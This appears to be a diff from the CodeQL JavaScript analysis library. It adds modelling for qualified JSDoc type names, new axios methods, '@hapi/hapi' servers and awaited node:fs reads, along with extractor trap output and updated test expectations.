jsdoc_tag_descriptions(#20190,"[description]")
jsdoc_tag_descriptions(#20190,"[description]
")
jsdoc_tag_names(#20190,"w")
#20192=*
jsdoc_type_exprs(#20192,10,#20190,0,"[type]")
#20193=@"loc,{#10000},32,13,32,18"
locations_default(#20193,#10000,32,13,32,18)
#20193=@"loc,{#10000},30,13,30,18"
locations_default(#20193,#10000,30,13,30,18)
hasLocation(#20192,#20193)
#20194=*
jsdoc_type_exprs(#20194,5,#20192,0,"type")
#20195=@"loc,{#10000},32,14,32,17"
locations_default(#20195,#10000,32,14,32,17)
#20195=@"loc,{#10000},30,14,30,17"
locations_default(#20195,#10000,30,14,30,17)
hasLocation(#20194,#20195)
#20196=*
jsdoc(#20196,"",#20018)
hasLocation(#20196,#20019)
#20197=*
jsdoc_tags(#20197,"exports",#20196,0,"@exports")
#20198=@"loc,{#10000},36,3,36,10"
locations_default(#20198,#10000,36,3,36,10)
hasLocation(#20197,#20198)
jsdoc_tag_descriptions(#20197,"R
jsdoc_tags(#20196,"param",#20189,1,"@param")
#20197=@"loc,{#10000},31,4,31,9"
locations_default(#20197,#10000,31,4,31,9)
hasLocation(#20196,#20197)
jsdoc_tag_descriptions(#20196,"[description]
")
#20199=*
jsdoc(#20199,"",#20020)
hasLocation(#20199,#20021)
#20198=*
jsdoc_tags(#20198,"return",#20189,2,"@return")
#20199=@"loc,{#10000},32,4,32,10"
locations_default(#20199,#10000,32,4,32,10)
hasLocation(#20198,#20199)
jsdoc_tag_descriptions(#20198,"[description]")
#20200=*
jsdoc_tags(#20200,"typedef",#20199,0,"@typedef")
#20201=@"loc,{#10000},41,4,41,11"
locations_default(#20201,#10000,41,4,41,11)
jsdoc_type_exprs(#20200,10,#20198,0,"[type]")
#20201=@"loc,{#10000},32,13,32,18"
locations_default(#20201,#10000,32,13,32,18)
hasLocation(#20200,#20201)
#20202=*
jsdoc_type_exprs(#20202,9,#20200,0,"{0: number}")
#20203=@"loc,{#10000},41,14,41,24"
locations_default(#20203,#10000,41,14,41,24)
jsdoc_type_exprs(#20202,5,#20200,0,"type")
#20203=@"loc,{#10000},32,14,32,17"
locations_default(#20203,#10000,32,14,32,17)
hasLocation(#20202,#20203)
jsdoc_record_field_name(#20202,0,"0")
#20204=*
jsdoc_type_exprs(#20204,5,#20202,0,"number")
#20205=@"loc,{#10000},41,18,41,23"
locations_default(#20205,#10000,41,18,41,23)
hasLocation(#20204,#20205)
toplevels(#20001,0)
#20206=@"loc,{#10000},1,1,43,0"
locations_default(#20206,#10000,1,1,43,0)
hasLocation(#20001,#20206)
jsdoc(#20204,"",#20018)
hasLocation(#20204,#20019)
#20205=*
jsdoc_tags(#20205,"exports",#20204,0,"@exports")
#20206=@"loc,{#10000},36,3,36,10"
locations_default(#20206,#10000,36,3,36,10)
hasLocation(#20205,#20206)
jsdoc_tag_descriptions(#20205,"R
")
#20207=*
entry_cfg_node(#20207,#20001)
#20208=@"loc,{#10000},1,1,1,0"
locations_default(#20208,#10000,1,1,1,0)
hasLocation(#20207,#20208)
#20209=*
exit_cfg_node(#20209,#20001)
hasLocation(#20209,#20105)
successor(#20207,#20209)
jsdoc(#20207,"",#20020)
hasLocation(#20207,#20021)
#20208=*
jsdoc_tags(#20208,"typedef",#20207,0,"@typedef")
#20209=@"loc,{#10000},41,4,41,11"
locations_default(#20209,#10000,41,4,41,11)
hasLocation(#20208,#20209)
#20210=*
jsdoc_type_exprs(#20210,9,#20208,0,"{0: number}")
#20211=@"loc,{#10000},41,14,41,24"
locations_default(#20211,#10000,41,14,41,24)
hasLocation(#20210,#20211)
jsdoc_record_field_name(#20210,0,"0")
#20212=*
jsdoc_type_exprs(#20212,5,#20210,0,"number")
#20213=@"loc,{#10000},41,18,41,23"
locations_default(#20213,#10000,41,18,41,23)
hasLocation(#20212,#20213)
toplevels(#20001,0)
#20214=@"loc,{#10000},1,1,43,0"
locations_default(#20214,#10000,1,1,43,0)
hasLocation(#20001,#20214)
#20215=*
entry_cfg_node(#20215,#20001)
#20216=@"loc,{#10000},1,1,1,0"
locations_default(#20216,#10000,1,1,1,0)
hasLocation(#20215,#20216)
#20217=*
exit_cfg_node(#20217,#20001)
hasLocation(#20217,#20105)
successor(#20215,#20217)
numlines(#10000,42,0,37)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,4 @@
---
category: minorAnalysis
---
Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.

View File

@@ -0,0 +1,4 @@
---
category: minorAnalysis
---
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.

View File

@@ -0,0 +1,4 @@
---
category: minorAnalysis
---
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.

View File

@@ -0,0 +1,12 @@
extensions:
- addsTo:
pack: codeql/javascript-all
extensible: sinkModel
data:
- ["axios", "Member[interceptors].Member[request].Member[use].Argument[0].Parameter[0].Member[url]", "request-forgery"]
- addsTo:
pack: codeql/javascript-all
extensible: sourceModel
data:
- ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "response"]

View File

@@ -296,7 +296,7 @@ module DOM {
.getType()
.getAnUnderlyingType()
.(JSDocNamedTypeExpr)
.getName())
.getRawName())
)
}

View File

@@ -400,8 +400,8 @@ class ConstructorTag extends JSDocTag {
abstract private class NamedTypeReferent extends JSDocTag {
/** Gets the name of the type to which this tag refers. */
string getTarget() {
result = this.getType().(JSDocNamedTypeExpr).getName() or
result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getName()
result = this.getType().(JSDocNamedTypeExpr).getRawName() or
result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getRawName()
}
/**
@@ -423,7 +423,7 @@ abstract private class NamedTypeReferent extends JSDocTag {
* Gets the source declaration of the type to which `tp` refers, if any.
*/
private ExternalType sourceDecl(JSDocTypeExpr tp) {
result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getName() or
result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getRawName() or
result = sourceDecl(tp.(JSDocAppliedTypeExpr).getHead()) or
result = sourceDecl(tp.(JSDocNullableTypeExpr).getTypeExpr()) or
result = sourceDecl(tp.(JSDocNonNullableTypeExpr).getTypeExpr()) or

View File

@@ -261,17 +261,14 @@ class JSDocVoidTypeExpr extends @jsdoc_void_type_expr, JSDocTypeExpr {
}
/**
* A type expression referring to a named type.
* An identifier in a JSDoc type expression, such as `Object` or `string`.
*
* Example:
*
* ```
* string
* Object
* ```
* Note that qualified names consist of multiple identifier nodes.
*/
class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
/** Gets the name of the type the expression refers to. */
class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr {
/**
* Gets the name of the identifier.
*/
string getName() { result = this.toString() }
override predicate isString() { this.getName() = "string" }
@@ -300,6 +297,71 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
}
override predicate isRawFunction() { this.getName() = "Function" }
}
/**
* An unqualified identifier in a JSDoc type expression.
*
* Example:
*
* ```
* string
* Object
* ```
*/
class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr {
JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() }
}
/**
* A qualified type name in a JSDoc type expression, such as `X.Y`.
*/
class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
/**
* Gets the base of this access, such as the `X` in `X.Y`.
*/
JSDocTypeExpr getBase() { result = this.getChild(0) }
/**
* Gets the node naming the member being accessed, such as the `Y` node in `X.Y`.
*/
JSDocIdentifierTypeExpr getNameNode() { result = this.getChild(1) }
/**
* Gets the name being accessed, such as `Y` in `X.Y`.
*/
string getName() { result = this.getNameNode().getName() }
}
/**
* A type expression referring to a named type.
*
* Example:
*
* ```
* string
* Object
* Namespace.Type
* ```
*/
class JSDocNamedTypeExpr extends JSDocTypeExpr {
JSDocNamedTypeExpr() {
this instanceof JSDocLocalTypeAccess
or
this instanceof JSDocQualifiedTypeAccess
}
/**
* Gets the name directly as it appears in this type, including any qualifiers.
*
* For example, for `X.Y` this gets the string `"X.Y"`.
*/
string getRawName() { result = this.toString() }
/**
* DEPRECATED. Use `getRawName()` instead.
*/
deprecated string getName() { result = this.toString() }
/**
* Holds if this name consists of the unqualified name `prefix`
@@ -310,8 +372,9 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
* - `Baz` has prefix `Baz` and an empty suffix.
*/
predicate hasNameParts(string prefix, string suffix) {
not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate
exists(string regex, string name | regex = "([^.]+)(.*)" |
name = this.getName() and
name = this.getRawName() and
prefix = name.regexpCapture(regex, 1) and
suffix = name.regexpCapture(regex, 2)
)
@@ -340,7 +403,7 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
globalName = this.resolvedName()
or
not exists(this.resolvedName()) and
globalName = this.getName()
globalName = this.getRawName()
}
override DataFlow::ClassNode getClass() {

View File

@@ -97,7 +97,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
}
pragma[inline]
predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
exists(js::ConditionGuardNode g |
g.getTest() = guard and
g.dominates(bb) and

View File

@@ -222,7 +222,10 @@ module ClientRequest {
method = "request"
or
this = axios().getMember(method).getACall() and
method = [httpMethodName(), "request"]
method = [httpMethodName(), "request", "postForm", "putForm", "patchForm", "getUri"]
or
this = axios().getMember("create").getReturn().getACall() and
method = "request"
}
private int getOptionsArgIndex() {
@@ -254,6 +257,8 @@ module ClientRequest {
method = ["post", "put"] and
result = [this.getArgument(1), this.getOptionArgument(2, "data")]
or
method = ["postForm", "putForm", "patchForm"] and result = this.getArgument(1)
or
result = this.getOptionArgument([0 .. 2], ["headers", "params"])
}

View File

@@ -11,8 +11,8 @@ module Hapi {
*/
class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node {
ServerDefinition() {
// `server = new Hapi.Server()`
this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation()
// `server = new Hapi.Server()`, `server = Hapi.server()`
this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation()
or
// `server = Glue.compose(manifest, composeOptions)`
this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation()

View File

@@ -599,7 +599,7 @@ module NodeJSLib {
override DataFlow::Node getADataNode() {
if methodName.matches("%Sync")
then result = this
else
else (
exists(int i, string paramName | fsDataParam(methodName, i, paramName) |
if paramName = "callback"
then
@@ -610,6 +610,12 @@ module NodeJSLib {
)
else result = this.getArgument(i)
)
or
exists(AwaitExpr await |
this.getEnclosingExpr() = await.getOperand() and
result = DataFlow::valueNode(await)
)
)
}
}

View File

@@ -184,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
or
token.getName() = "DecoratedParameter" and
result = node.getADecoratedParameter()
or
token.getName() = "GuardedRouteHandler" and
result = getAGuardedRouteHandlerApprox(node)
}
bindingset[node]
pragma[inline_late]
private API::Node getAGuardedRouteHandlerApprox(API::Node node) {
// For now just get any routing node with the same root (i.e. the same web app), as
// there are some known performance issues when checking if it is actually guarded by the given node.
exists(JS::Routing::Node root |
root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and
root = JS::Routing::getNode(result.asSink()).getRootNode()
)
}
/**
@@ -317,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
[
"Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue",
"NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter",
"WithStringArgument"
"WithStringArgument", "GuardedRouteHandler"
]
}
@@ -329,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
name =
[
"AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call",
"DecoratedClass", "DecoratedMember", "DecoratedParameter"
"DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler"
]
}

View File

@@ -1001,7 +1001,7 @@ case @jsdoc_type_expr.kind of
| 2 = @jsdoc_undefined_type_expr
| 3 = @jsdoc_unknown_type_expr
| 4 = @jsdoc_void_type_expr
| 5 = @jsdoc_named_type_expr
| 5 = @jsdoc_identifier_type_expr
| 6 = @jsdoc_applied_type_expr
| 7 = @jsdoc_nullable_type_expr
| 8 = @jsdoc_non_nullable_type_expr
@@ -1011,6 +1011,7 @@ case @jsdoc_type_expr.kind of
| 12 = @jsdoc_function_type_expr
| 13 = @jsdoc_optional_type_expr
| 14 = @jsdoc_rest_type_expr
| 15 = @jsdoc_qualified_type_expr
;
#keyset[id, idx]

View File

@@ -1334,10 +1334,14 @@
<v>8</v>
</e>
<e>
<k>@jsdoc_named_type_expr</k>
<k>@jsdoc_identifier_type_expr</k>
<v>18639</v>
</e>
<e>
<k>@jsdoc_qualified_type_expr</k>
<v>1000</v>
</e>
<e>
<k>@jsdoc_applied_type_expr</k>
<v>303</v>
</e>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,2 @@
description: split up qualified names in jsdoc type exprs
compatibility: partial

View File

@@ -1,5 +1,10 @@
| bar.js:5:14:5:14 | x | x |
| bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo |
| bar.js:12:14:12:17 | iife | iife |
| bar.js:12:14:12:21 | iife.Foo | IIFE.Foo |
| closure.js:8:12:8:15 | goog | goog |
| closure.js:8:12:8:19 | goog.net | goog.net |
| closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType |
| closure.js:9:12:9:14 | net | net |
| closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType |
| closure.js:10:12:10:19 | SomeType | goog.net.SomeType |

View File

@@ -278,7 +278,11 @@ test_JSDocTypeExpr
| tst.js:26:14:26:20 | boolean | tst.js:26:5:26:11 | @define | 0 |
| tst.js:31:13:31:19 | boolean | tst.js:31:4:31:10 | @return | 0 |
| tst.js:53:11:53:16 | number | tst.js:53:4:53:8 | @enum | 0 |
| tst.js:68:14:68:17 | goog | tst.js:68:14:68:20 | goog.ds | 0 |
| tst.js:68:14:68:20 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 |
| tst.js:68:14:68:34 | goog.ds.BasicNodeList | tst.js:68:4:68:11 | @extends | 0 |
| tst.js:68:19:68:20 | ds | tst.js:68:14:68:20 | goog.ds | 1 |
| tst.js:68:22:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 |
| tst.js:95:17:95:21 | Shape | tst.js:95:4:95:14 | @implements | 0 |
| tst.js:110:14:110:18 | Shape | tst.js:110:4:110:11 | @extends | 0 |
| tst.js:134:13:134:18 | Object | tst.js:134:4:134:10 | @return | 0 |
@@ -298,7 +302,9 @@ test_JSDocTypeExpr
| tst.js:216:15:216:29 | (string\|number) | tst.js:216:5:216:12 | @typedef | 0 |
| tst.js:216:16:216:21 | string | tst.js:216:15:216:29 | (string\|number) | 0 |
| tst.js:216:23:216:28 | number | tst.js:216:15:216:29 | (string\|number) | 1 |
| tst.js:219:13:219:16 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 |
| tst.js:219:13:219:27 | goog.NumberLike | tst.js:219:5:219:10 | @param | 0 |
| tst.js:219:18:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 |
| tst.js:223:12:223:36 | {myNum: number, myObject} | tst.js:223:5:223:9 | @type | 0 |
| tst.js:223:20:223:25 | number | tst.js:223:12:223:36 | {myNum: number, myObject} | 0 |
| tst.js:226:12:226:17 | number | tst.js:226:12:226:18 | number? | 0 |
@@ -311,10 +317,18 @@ test_JSDocTypeExpr
| tst.js:234:12:234:29 | function (): number | tst.js:234:4:234:9 | @param | 0 |
| tst.js:234:24:234:29 | number | tst.js:234:12:234:29 | function (): number | -1 |
| tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | tst.js:235:4:235:9 | @param | 0 |
| tst.js:235:26:235:29 | goog | tst.js:235:26:235:32 | goog.ui | 0 |
| tst.js:235:26:235:32 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 |
| tst.js:235:26:235:37 | goog.ui.Menu | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | -2 |
| tst.js:235:31:235:32 | ui | tst.js:235:26:235:32 | goog.ui | 1 |
| tst.js:235:34:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 |
| tst.js:235:40:235:45 | string | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | 0 |
| tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | tst.js:236:4:236:9 | @param | 0 |
| tst.js:236:25:236:28 | goog | tst.js:236:25:236:31 | goog.ui | 0 |
| tst.js:236:25:236:31 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 |
| tst.js:236:25:236:36 | goog.ui.Menu | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | -2 |
| tst.js:236:30:236:31 | ui | tst.js:236:25:236:31 | goog.ui | 1 |
| tst.js:236:33:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 |
| tst.js:236:39:236:44 | string | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | 0 |
| tst.js:237:12:237:48 | function (string, ...[number]): number | tst.js:237:4:237:9 | @param | 0 |
| tst.js:237:21:237:26 | string | tst.js:237:12:237:48 | function (string, ...[number]): number | 0 |

View File

@@ -5,6 +5,8 @@ test_isNumber
test_QualifiedName
| VarType | tst.js:9:13:9:19 | VarType |
| boolean | tst.js:5:14:5:20 | boolean |
| foo | tst.js:4:12:4:14 | foo |
| foo.bar | tst.js:4:12:4:18 | foo.bar |
| foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz |
| number | tst.js:3:12:3:17 | number |
| string | tst.js:2:12:2:17 | string |

View File

@@ -103,6 +103,13 @@ test_ClientRequest
| tst.js:334:5:334:25 | got.pag ... rl, {}) |
| tst.js:337:5:337:20 | jsonClient.get() |
| tst.js:340:5:340:21 | jsonClient2.get() |
| tst.js:344:5:344:37 | axios.p ... config) |
| tst.js:345:5:345:28 | axios.p ... , data) |
| tst.js:346:5:346:36 | axios.p ... config) |
| tst.js:347:5:347:30 | axios.p ... , data) |
| tst.js:348:5:348:38 | axios.p ... config) |
| tst.js:349:5:349:30 | axios.g ... url }) |
| tst.js:352:5:352:66 | axiosIn ... text"}) |
test_getADataNode
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } |
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} |
@@ -146,6 +153,11 @@ test_getADataNode
| tst.js:257:1:262:2 | form.su ... rs()\\n}) | tst.js:255:25:255:35 | 'new_value' |
| tst.js:286:20:286:55 | new Web ... :8080') | tst.js:288:21:288:35 | 'Hello Server!' |
| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:39:321:42 | data |
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data |
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:24:345:27 | data |
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:24:346:27 | data |
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:26:347:29 | data |
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:26:348:29 | data |
test_getHost
| tst.js:87:5:87:39 | http.ge ... host}) | tst.js:87:34:87:37 | host |
| tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host |
@@ -268,6 +280,14 @@ test_getUrl
| tst.js:337:5:337:20 | jsonClient.get() | tst.js:336:41:336:43 | url |
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:42:339:44 | url |
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:61:339:63 | url |
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url |
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:19:345:21 | url |
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url |
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url |
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url |
| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:18:349:29 | { url: url } |
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:19:352:65 | {method ... "text"} |
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:40:352:42 | url |
test_getAResponseDataNode
| axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true |
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true |
@@ -354,3 +374,10 @@ test_getAResponseDataNode
| tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:5:334:25 | got.pag ... rl, {}) | text | true |
| tst.js:337:5:337:20 | jsonClient.get() | tst.js:337:5:337:20 | jsonClient.get() | text | true |
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:340:5:340:21 | jsonClient2.get() | text | true |
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true |
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:5:345:28 | axios.p ... , data) | json | true |
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true |
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true |
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true |
| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:5:349:30 | axios.g ... url }) | json | true |
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:5:352:66 | axiosIn ... text"}) | text | true |

View File

@@ -339,3 +339,15 @@ function gotTests(url){
const jsonClient2 = got.extend({url: url}).extend({url: url});
jsonClient2.get();
}
function moreAxiosTests(url, data, config){
axios.postForm(url, data, config);
axios.putForm(url, data);
axios.putForm(url, data, config);
axios.patchForm(url, data);
axios.patchForm(url, data, config);
axios.getUri({ url: url });
const axiosInstance = axios.create({});
axiosInstance({method: "get", url: url, responseType: "text"});
}

View File

@@ -0,0 +1,21 @@
const express = require('express');
const app = express();
const testlib = require('testlib');
app.get('/before', (req, res) => {
sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware
sink(req.injectedResData); // OK - wrong parameter
sink(res.injectedReqData); // OK - wrong parameter
sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware
});
app.use(testlib.middleware());
app.get('/after', (req, res) => {
sink(req.injectedReqData); // NOT OK
sink(req.injectedResData); // OK - wrong parameter
sink(res.injectedReqData); // OK - wrong parameter
sink(res.injectedResData); // NOT OK
});

View File

@@ -1,6 +1,10 @@
legacyDataFlowDifference
consistencyIssue
taintFlow
| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData |
| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData |
| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData |
| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData |
| paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x |
| test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) |
| test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) |

View File

@@ -13,6 +13,8 @@ extensions:
- ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source']
- ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source']
- ['danger-constant', 'Member[danger]', 'test-source']
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source']
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source']
- addsTo:
pack: codeql/javascript-all

View File

@@ -0,0 +1,36 @@
var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server
var Hapi = require('@hapi/hapi');
var server2 = new Hapi.Server(); // HTTP::Server
function handler1(){} // HTTP::RouteHandler
server2.route({
handler: handler1
});
server2.route({
handler: function handler2(request, reply){ // HTTP::RouteHandler
request.response.header('HEADER1', '') // HTTP::HeaderDefinition
}});
server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler
})
function handler4(request, reply){
request.rawPayload;
request.payload.foo;
request.query.bar;
request.url.path;
request.headers.baz;
request.state.token;
}
var route = {handler: handler4};
server2.route(route);
server2.cache({ segment: 'countries', expiresIn: 60*60*1000 });
function getHandler() {
return function (req, h){}
}
server2.route({handler: getHandler()});

View File

@@ -9,6 +9,11 @@ test_RouteSetup
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) |
| src/hapiglue.js:31:1:31:20 | server2.route(route) |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) |
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) |
| src/hapihapi.js:12:1:15:7 | server2 ... }}) |
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) |
| src/hapihapi.js:29:1:29:20 | server2.route(route) |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) |
test_RequestExpr
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
@@ -38,12 +43,27 @@ test_RequestExpr
| src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} |
test_HeaderAccess
| src/hapi.js:25:3:25:21 | request.headers.baz | baz |
| src/hapiglue.js:27:3:27:21 | request.headers.baz | baz |
| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz |
test_ResponseExpr
| src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
test_RouteHandler
| src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -55,9 +75,15 @@ test_RouteHandler
| src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
